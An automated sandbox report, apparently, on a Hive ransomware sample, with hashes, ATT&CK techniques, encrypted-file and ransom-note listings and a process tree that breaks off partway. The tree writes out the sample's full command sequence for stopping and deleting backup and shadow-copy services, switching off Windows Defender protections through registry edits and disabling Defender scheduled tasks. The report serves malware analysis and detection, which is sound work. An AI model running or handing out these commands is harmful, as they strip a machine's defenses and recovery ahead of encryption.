hive | 67ab2abe18b060275763e1d0c73d27c1e61b69097232ed9d048d41760a4533ef

Analysis

max time kernel
150s
max time network
120s
platform
windows10_x64
resource
win10v20210408
submitted
03-08-2021 01:31

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General

Target

a2112.exe
Size

919KB
MD5

4cd42e7aac7f89edf5764b699b2800d0
SHA1

f309daa9650485d6ef6ceeccdc8c014d425a00fd
SHA256

67ab2abe18b060275763e1d0c73d27c1e61b69097232ed9d048d41760a4533ef
SHA512

0dcf0a9f4b15a355c3da11fbcd2276e9d96bd7b767c3cc2cdf17e3fc0b47483f3ef7f6953fd0ca232c3e9a8603be34b0f6c9d41eaac32ffff66755d8d2400440

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command-Line Interface

T1059

pid	Process
3676	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2100	bcdedit.exe
1928	bcdedit.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ExportPush.png => C:\Users\Admin\Pictures\ExportPush.png.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5YjdswSQmDtEWQtBb1kN8V6.w2tnk	a2112.exe
File opened for modification	C:\Users\Admin\Pictures\ExportPush.png.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5YjdswSQmDtEWQtBb1kN8V6.w2tnk	a2112.exe
File renamed	C:\Users\Admin\Pictures\InitializeImport.crw => C:\Users\Admin\Pictures\InitializeImport.crw.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5binOCz99xEU7BjS15giVcj.w2tnk	a2112.exe
File opened for modification	C:\Users\Admin\Pictures\InitializeImport.crw.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5binOCz99xEU7BjS15giVcj.w2tnk	a2112.exe
File renamed	C:\Users\Admin\Pictures\UnblockShow.tif => C:\Users\Admin\Pictures\UnblockShow.tif.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5an7hnHNcYDWyi8Of8cczdk.w2tnk	a2112.exe
File opened for modification	C:\Users\Admin\Pictures\UnblockShow.tif.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5an7hnHNcYDWyi8Of8cczdk.w2tnk	a2112.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5bxCfys3iE3JloPiMMIKdRn.w2tnk	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.properties	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-80.png	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\HowToPlay\Klondike\Goal_3.jpg	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Assets\Images\moji_mask.contrast-standard.png	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\faf_icons.png	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe\Assets\Office\ProjectionPlanar.scale-140.png	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\manifestAssets\contrast-black\Square44x44Logo.targetsize-24.png	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\Assets\questfallback.png	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxA-Exchange.scale-150.png	a2112.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\fwdM_HOW_TO_DECRYPT	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\VBA\VBA7.1\1033\VBOB6.CHM	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\Assets\InsiderHubMedTile.scale-200_contrast-black.png	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning_2x.png	a2112.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\fwdM_HOW_TO_DECRYPT	a2112.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-il\fwdM_HOW_TO_DECRYPT	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de_2x.gif	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-ae\ui-strings.js	a2112.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\ro-ro\fwdM_HOW_TO_DECRYPT	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Resources\1033\msmdsrvi.rll	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Lumia.ViewerPlugin\Assets\IconOpenInRefocus.scale-200.png	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription3-pl.xrm-ms.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5ZhGwgLYV5lUDmwbpr8C5AP.w2tnk	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\ICU\icudt26l.dat	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\ISO690.XSL	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AlarmsWideTile.contrast-black_scale-125.png	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud.png.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5ZKlb43Nyx-XmOr2FIKpRhX.w2tnk	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\PeopleSmallTile.scale-100.png	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js	a2112.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_GB\README_en_GB.txt	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\AccessMessageDismissal.txt.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5acP_ZIPrhveV70wCFEBZcM.w2tnk	a2112.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_GB\hyph_en_GB.dic.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5bUI58ZufTXX4voy3SUQvsY.w2tnk	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\contrast-black\SmallTile.scale-200.png	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE\RMNSQUE.ELM.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5asklj9wZpcXRzTPnrQLA0C.w2tnk	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5YNZz4qqxAJYShIUAfFaqRd.w2tnk	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\WINWORD_F_COL.HXK	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\tr\msipc.dll.mui	a2112.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\vocaroo.luac	a2112.exe
File opened for modification	C:\Program Files\Windows Security\BrowserCore\manifest.json	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5ZcePf4EAAIGN59c0GhQB96.w2tnk	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5ZHlc5qrZkJdoJJA2t1qZYx.w2tnk	a2112.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\sl-si\fwdM_HOW_TO_DECRYPT	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.felix.gogo.runtime_0.10.0.v201209301036.jar.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5aMKs_kgtVEAwOGDbMpYxsQ.w2tnk	a2112.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\README.txt	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-30_altform-unplated.png	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\ui-strings.js	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\ui-strings.js	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\css\fwdM_HOW_TO_DECRYPT.txt	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PersonalDemoR_BypassTrial180-ppd.xrm-ms	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\hprof-16.png.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5Y_oNdtUJwJV3_V-BfJ7TV8.w2tnk	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GamesXboxHubWideTile.scale-200.png	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Fues\Popup_3.jpg	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\tz_60x42.png	a2112.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\fwdM_HOW_TO_DECRYPT.txt	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019VL_MAK_AE-pl.xrm-ms	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\THMBNAIL.PNG	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Grace-ppd.xrm-ms.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5bzx9AS6JXiMTzmGL_cNIEa.w2tnk	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES\PREVIEW.GIF.fZqwVLWmK4vXmm3OyFORNS1yi1_BqaIay2jNAmwxe5bDPJP74I06QIyGV9HWsHpY.w2tnk	a2112.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\fwdM_HOW_TO_DECRYPT	a2112.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_zh_TW.properties	a2112.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_Retail-ppd.xrm-ms	a2112.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-60_contrast-white.png	a2112.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1016	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4212	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
636	a2112.exe
636	a2112.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3520	wevtutil.exe
Token: SeBackupPrivilege	3520	wevtutil.exe
Token: SeSecurityPrivilege	2892	wevtutil.exe
Token: SeBackupPrivilege	2892	wevtutil.exe
Token: SeSecurityPrivilege	196	wevtutil.exe
Token: SeBackupPrivilege	196	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	2660	WMIC.exe
Token: SeSecurityPrivilege	2660	WMIC.exe
Token: SeTakeOwnershipPrivilege	2660	WMIC.exe
Token: SeLoadDriverPrivilege	2660	WMIC.exe
Token: SeSystemProfilePrivilege	2660	WMIC.exe
Token: SeSystemtimePrivilege	2660	WMIC.exe
Token: SeProfSingleProcessPrivilege	2660	WMIC.exe
Token: SeIncBasePriorityPrivilege	2660	WMIC.exe
Token: SeCreatePagefilePrivilege	2660	WMIC.exe
Token: SeBackupPrivilege	2660	WMIC.exe
Token: SeRestorePrivilege	2660	WMIC.exe
Token: SeShutdownPrivilege	2660	WMIC.exe
Token: SeDebugPrivilege	2660	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2660	WMIC.exe
Token: SeRemoteShutdownPrivilege	2660	WMIC.exe
Token: SeUndockPrivilege	2660	WMIC.exe
Token: SeManageVolumePrivilege	2660	WMIC.exe
Token: 33	2660	WMIC.exe
Token: 34	2660	WMIC.exe
Token: 35	2660	WMIC.exe
Token: 36	2660	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1156	WMIC.exe
Token: SeSecurityPrivilege	1156	WMIC.exe
Token: SeTakeOwnershipPrivilege	1156	WMIC.exe
Token: SeLoadDriverPrivilege	1156	WMIC.exe
Token: SeSystemProfilePrivilege	1156	WMIC.exe
Token: SeSystemtimePrivilege	1156	WMIC.exe
Token: SeProfSingleProcessPrivilege	1156	WMIC.exe
Token: SeIncBasePriorityPrivilege	1156	WMIC.exe
Token: SeCreatePagefilePrivilege	1156	WMIC.exe
Token: SeBackupPrivilege	1156	WMIC.exe
Token: SeRestorePrivilege	1156	WMIC.exe
Token: SeShutdownPrivilege	1156	WMIC.exe
Token: SeDebugPrivilege	1156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1156	WMIC.exe
Token: SeRemoteShutdownPrivilege	1156	WMIC.exe
Token: SeUndockPrivilege	1156	WMIC.exe
Token: SeManageVolumePrivilege	1156	WMIC.exe
Token: 33	1156	WMIC.exe
Token: 34	1156	WMIC.exe
Token: 35	1156	WMIC.exe
Token: 36	1156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1156	WMIC.exe
Token: SeSecurityPrivilege	1156	WMIC.exe
Token: SeTakeOwnershipPrivilege	1156	WMIC.exe
Token: SeLoadDriverPrivilege	1156	WMIC.exe
Token: SeSystemProfilePrivilege	1156	WMIC.exe
Token: SeSystemtimePrivilege	1156	WMIC.exe
Token: SeProfSingleProcessPrivilege	1156	WMIC.exe
Token: SeIncBasePriorityPrivilege	1156	WMIC.exe
Token: SeCreatePagefilePrivilege	1156	WMIC.exe
Token: SeBackupPrivilege	1156	WMIC.exe
Token: SeRestorePrivilege	1156	WMIC.exe
Token: SeShutdownPrivilege	1156	WMIC.exe
Token: SeDebugPrivilege	1156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1156	WMIC.exe
Token: SeRemoteShutdownPrivilege	1156	WMIC.exe
Token: SeUndockPrivilege	1156	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 636 wrote to memory of 2736	636	a2112.exe	79
PID 636 wrote to memory of 2736	636	a2112.exe	79
PID 636 wrote to memory of 2288	636	a2112.exe	80
PID 636 wrote to memory of 2288	636	a2112.exe	80
PID 2288 wrote to memory of 1276	2288	cmd.exe	81
PID 2288 wrote to memory of 1276	2288	cmd.exe	81
PID 2288 wrote to memory of 2316	2288	cmd.exe	82
PID 2288 wrote to memory of 2316	2288	cmd.exe	82
PID 2288 wrote to memory of 2296	2288	cmd.exe	83
PID 2288 wrote to memory of 2296	2288	cmd.exe	83
PID 2288 wrote to memory of 2132	2288	cmd.exe	84
PID 2288 wrote to memory of 2132	2288	cmd.exe	84
PID 2288 wrote to memory of 1152	2288	cmd.exe	85
PID 2288 wrote to memory of 1152	2288	cmd.exe	85
PID 2288 wrote to memory of 816	2288	cmd.exe	86
PID 2288 wrote to memory of 816	2288	cmd.exe	86
PID 2288 wrote to memory of 2256	2288	cmd.exe	87
PID 2288 wrote to memory of 2256	2288	cmd.exe	87
PID 2288 wrote to memory of 4064	2288	cmd.exe	88
PID 2288 wrote to memory of 4064	2288	cmd.exe	88
PID 2288 wrote to memory of 4032	2288	cmd.exe	89
PID 2288 wrote to memory of 4032	2288	cmd.exe	89
PID 2288 wrote to memory of 3148	2288	cmd.exe	90
PID 2288 wrote to memory of 3148	2288	cmd.exe	90
PID 2288 wrote to memory of 2068	2288	cmd.exe	91
PID 2288 wrote to memory of 2068	2288	cmd.exe	91
PID 2288 wrote to memory of 3872	2288	cmd.exe	92
PID 2288 wrote to memory of 3872	2288	cmd.exe	92
PID 2288 wrote to memory of 812	2288	cmd.exe	93
PID 2288 wrote to memory of 812	2288	cmd.exe	93
PID 2288 wrote to memory of 3032	2288	cmd.exe	94
PID 2288 wrote to memory of 3032	2288	cmd.exe	94
PID 2288 wrote to memory of 380	2288	cmd.exe	95
PID 2288 wrote to memory of 380	2288	cmd.exe	95
PID 2288 wrote to memory of 3648	2288	cmd.exe	96
PID 2288 wrote to memory of 3648	2288	cmd.exe	96
PID 2288 wrote to memory of 1868	2288	cmd.exe	97
PID 2288 wrote to memory of 1868	2288	cmd.exe	97
PID 2288 wrote to memory of 3936	2288	cmd.exe	98
PID 2288 wrote to memory of 3936	2288	cmd.exe	98
PID 2288 wrote to memory of 3728	2288	cmd.exe	99
PID 2288 wrote to memory of 3728	2288	cmd.exe	99
PID 2288 wrote to memory of 200	2288	cmd.exe	100
PID 2288 wrote to memory of 200	2288	cmd.exe	100
PID 2288 wrote to memory of 724	2288	cmd.exe	101
PID 2288 wrote to memory of 724	2288	cmd.exe	101
PID 2288 wrote to memory of 2500	2288	cmd.exe	102
PID 2288 wrote to memory of 2500	2288	cmd.exe	102
PID 2288 wrote to memory of 1844	2288	cmd.exe	103
PID 2288 wrote to memory of 1844	2288	cmd.exe	103
PID 2288 wrote to memory of 916	2288	cmd.exe	104
PID 2288 wrote to memory of 916	2288	cmd.exe	104
PID 2288 wrote to memory of 1016	2288	cmd.exe	105
PID 2288 wrote to memory of 1016	2288	cmd.exe	105
PID 2288 wrote to memory of 1964	2288	cmd.exe	106
PID 2288 wrote to memory of 1964	2288	cmd.exe	106
PID 2288 wrote to memory of 196	2288	cmd.exe	107
PID 2288 wrote to memory of 196	2288	cmd.exe	107
PID 2288 wrote to memory of 2672	2288	cmd.exe	108
PID 2288 wrote to memory of 2672	2288	cmd.exe	108
PID 2288 wrote to memory of 2376	2288	cmd.exe	109
PID 2288 wrote to memory of 2376	2288	cmd.exe	109
PID 2288 wrote to memory of 2560	2288	cmd.exe	110
PID 2288 wrote to memory of 2560	2288	cmd.exe	110

C:\Users\Admin\AppData\Local\Temp\a2112.exe
"C:\Users\Admin\AppData\Local\Temp\a2112.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c LhY5kBPeHs.bat >NUL 2>NUL
  2⤵
  PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c LhY5kBPeHs.bat >NUL 2>NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\sc.exe
    sc stop "LanmanWorkstation"
    3⤵
    PID:1276
- - C:\Windows\system32\sc.exe
    sc stop "SamSs"
    3⤵
    PID:2316
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    PID:2296
- - C:\Windows\system32\sc.exe
    sc stop "SstpSvc"
    3⤵
    PID:2132
- - C:\Windows\system32\sc.exe
    sc stop "UI0Detect"
    3⤵
    PID:1152
- - C:\Windows\system32\sc.exe
    sc stop "vmicvss"
    3⤵
    PID:816
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    PID:2256
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    PID:4064
- - C:\Windows\system32\sc.exe
    sc stop "WebClient"
    3⤵
    PID:4032
- - C:\Windows\system32\sc.exe
    sc stop "UnistoreSvc_130b0"
    3⤵
    PID:3148
- - C:\Windows\system32\sc.exe
    sc delete "LanmanWorkstation"
    3⤵
    PID:2068
- - C:\Windows\system32\sc.exe
    sc delete "SamSs"
    3⤵
    PID:3872
- - C:\Windows\system32\sc.exe
    sc delete "SDRSVC"
    3⤵
    PID:812
- - C:\Windows\system32\sc.exe
    sc delete "SstpSvc"
    3⤵
    PID:3032
- - C:\Windows\system32\sc.exe
    sc delete "UI0Detect"
    3⤵
    PID:380
- - C:\Windows\system32\sc.exe
    sc delete "vmicvss"
    3⤵
    PID:3648
- - C:\Windows\system32\sc.exe
    sc delete "VSS"
    3⤵
    PID:1868
- - C:\Windows\system32\sc.exe
    sc delete "wbengine"
    3⤵
    PID:3936
- - C:\Windows\system32\sc.exe
    sc delete "WebClient"
    3⤵
    PID:3728
- - C:\Windows\system32\sc.exe
    sc delete "UnistoreSvc_130b0"
    3⤵
    PID:200
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:724
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1844
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:916
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    PID:1016
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    PID:1964
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    PID:196
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    PID:2376
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:3992
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:1572
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
    3⤵
    PID:1264
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2100
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1928
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:1152
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2272
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:1104
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:3264
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:3148
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
    3⤵
    PID:3960
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
    3⤵
    PID:3888
- - C:\Windows\system32\reg.exe
